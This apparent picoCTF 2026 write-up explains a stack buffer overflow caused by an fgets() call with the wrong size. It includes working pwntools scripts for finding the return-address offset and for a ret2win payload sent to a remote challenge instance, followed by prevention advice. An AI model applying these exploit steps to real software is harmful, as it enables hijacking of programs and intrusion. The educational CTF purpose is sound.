Echo Escape 2 picoCTF 2026 Solution

Published: March 20, 2026

Description

The developer replaced the dangerous input function with fgets(), but the fix is incomplete. Download vuln and vuln.c, then find the remaining path to the flag.

Download vuln and its source code.

Read the source to see how fgets() is misused.

bash
cat vuln.c
bash
chmod +x vuln
  1. Step 1Find the fgets() bug
    Read vuln.c - the developer switched from gets()/scanf() to fgets() but passed the wrong size argument. The result is a buffer read that is still larger than the actual buffer, creating a stack overflow.
    bash
    cat vuln.c
    bash
    checksec --file=./vuln
    Learn more

    fgets(buf, size, stdin) is the safe replacement for gets() precisely because it accepts a size limit. But the safety guarantee only holds when the size argument accurately reflects the buffer's actual allocation. A common developer mistake is passing a size that is larger than the buffer - for example, writing fgets(buf, 256, stdin) when buf was declared as char buf[64]. The result is that fgets happily reads up to 256 bytes into a 64-byte region, overflowing 192 bytes past the end.

    This is a false-fix pattern: the developer knows gets() is dangerous and switches to fgets(), but copies the wrong size constant. It appears in real codebases regularly - particularly when refactoring legacy code where the buffer size and the read size were originally the same constant name but later diverged. Static analysis tools like -D_FORTIFY_SOURCE=2 and AddressSanitizer catch this at runtime; clang-tidy can catch it statically.

    checksec shows which mitigations the binary was compiled with: stack canaries (SSP), non-executable stack (NX), ASLR/PIE, and RELRO. If the stack canary is absent, a straightforward overflow of the return address succeeds. If a canary is present, you need to first leak its value (via an information leak) before overwriting past it.

  2. Step 2Find the offset to the return address
    p.corefile only works if core dumps are enabled (ulimit -c unlimited). On x86-64, read 8 bytes from core.rip - not 4 from core.sp. If your shell blocks core dumps, fall back to GDB pattern create / pattern offset.
    bash
    ulimit -c unlimited   # enable core dumps in this shell
    python
    python3 << 'EOF'
    from pwn import *
    
    context.binary = "./vuln"  # picks up arch/bits from the ELF
    
    p = process("./vuln")
    p.sendline(cyclic(200, n=8))   # 8-byte chunks for x86-64
    p.wait()
    
    core = p.corefile
    # x86-64: instruction pointer is in core.rip (8 bytes).
    # x86-32: use core.eip (4 bytes) and cyclic(..., n=4).
    offset = cyclic_find(p64(core.rip), n=8)
    log.info(f"Offset to saved RIP: {offset}")
    EOF
    bash
    # Fallback (no core dumps): gdb-peda> pattern create 200 ; r ; pattern offset $rip
    Learn more

    A cyclic (De Bruijn) pattern is a sequence of bytes where every subsequence of length n appears exactly once. When this pattern overwrites the saved return address and the program crashes, the value in the instruction pointer register ($rip on x86-64, $eip on x86-32) is a unique 4- or 8-byte substring of the pattern. cyclic_find() searches the pattern for that substring and returns its offset from the start, giving you the exact number of padding bytes needed.

    A core dump is produced when the process crashes with an unhandled signal (SIGSEGV). Pwntools' Corefile class parses the core and exposes register state, memory maps, and stack contents. Alternatively, GDB's pattern create / pattern offset (from the PEDA or GEF extension) achieves the same result interactively. Running ulimit -c unlimited before the program ensures core dumps are written.

    On x86-64, the saved return address is 8 bytes wide and must be 8-byte aligned. The stack layout from the top of a function frame is typically: local variables, then the saved base pointer (rbp, 8 bytes), then the return address (8 bytes). So if the buffer is at offset 0 on the frame, the return address starts at sizeof(buf) + 8. The cyclic approach confirms this empirically without needing to read the assembly manually.

  3. Step 3Redirect execution to print_flag()
    Find print_flag's address, then overflow into the saved return address. If the program crashes inside a movaps instruction, the stack isn't 16-byte aligned at the call - prepend a single ret gadget to fix it.
    bash
    objdump -d vuln | grep print_flag
    bash
    ROPgadget --binary vuln | grep ': ret$'   # find a bare 'ret' for alignment
    python
    python3 << 'EOF'
    from pwn import *
    
    e = ELF("./vuln")
    p = remote("<HOST>", <PORT_FROM_INSTANCE>)
    
    offset = 72  # adjust from your analysis
    print_flag = e.sym["print_flag"]
    ret_gadget = 0x40101a  # any address holding a single 'ret'; adjust per-binary
    
    # If print_flag crashes in movaps, the SysV ABI 16-byte alignment is off.
    # Prepending a 'ret' realigns the stack by 8 before entering print_flag.
    payload  = b"A" * offset
    payload += p64(ret_gadget)
    payload += p64(print_flag)
    
    p.sendline(payload)
    print(p.recvall(timeout=3))
    EOF
    Learn more

    A classic ret2win exploit overwrites the saved return address with the address of a "win" function that already exists in the binary - in this case print_flag(). The payload is simply padding bytes (to fill the buffer and any gap up to the return address) followed by the 8-byte little-endian address of the target function. When the vulnerable function executes its ret instruction, it pops the overwritten address off the stack and jumps there.

    p64(addr) in pwntools packs a 64-bit integer into 8 little-endian bytes, matching the byte order expected on x86-64 systems. The equivalent for 32-bit targets is p32(addr). Getting the endianness right is critical - submitting the address in big-endian order will jump to garbage memory and crash instead.

    This technique is the simplest form of control-flow hijacking. More advanced variants include ret2libc (jumping to system()/bin/sh instead of a win function), ret2plt (calling a PLT stub to invoke library functions), and ROP (Return-Oriented Programming)which chains small code snippets ("gadgets") together to execute arbitrary logic even when no win function exists. This challenge is a clean introduction to the core concept before those complications arise.

    See Buffer Overflow Binary Exploitation and Pwntools for CTF for the broader workflow.

Flag

picoCTF{3ch0_3sc4p3_2_...}

The developer switched to fgets() but used the wrong size - the buffer still overflows. Find the offset with a cyclic pattern, locate print_flag() with objdump, and redirect the return address to it.

How to prevent this

fgets() is safe only when the size matches the actual buffer. A wrong literal here is exactly as bad as gets().

  • Use sizeof(buf), never a hardcoded number. fgets(buf, sizeof(buf), stdin) is correct under any future buffer-size change; fgets(buf, 256, stdin) rots when someone shrinks buf.
  • Build with -fstack-protector-strong. The canary catches the overflow at function epilogue regardless of which API got the size wrong.
  • Add -D_FORTIFY_SOURCE=3 on glibc. It replaces fgets with a fortified version that knows the actual __bos (buffer-object-size) and aborts on out-of-bounds writes when the destination size is known at compile time.

Want more picoCTF 2026 writeups?

Tools used in this challenge

Related reading

What to try next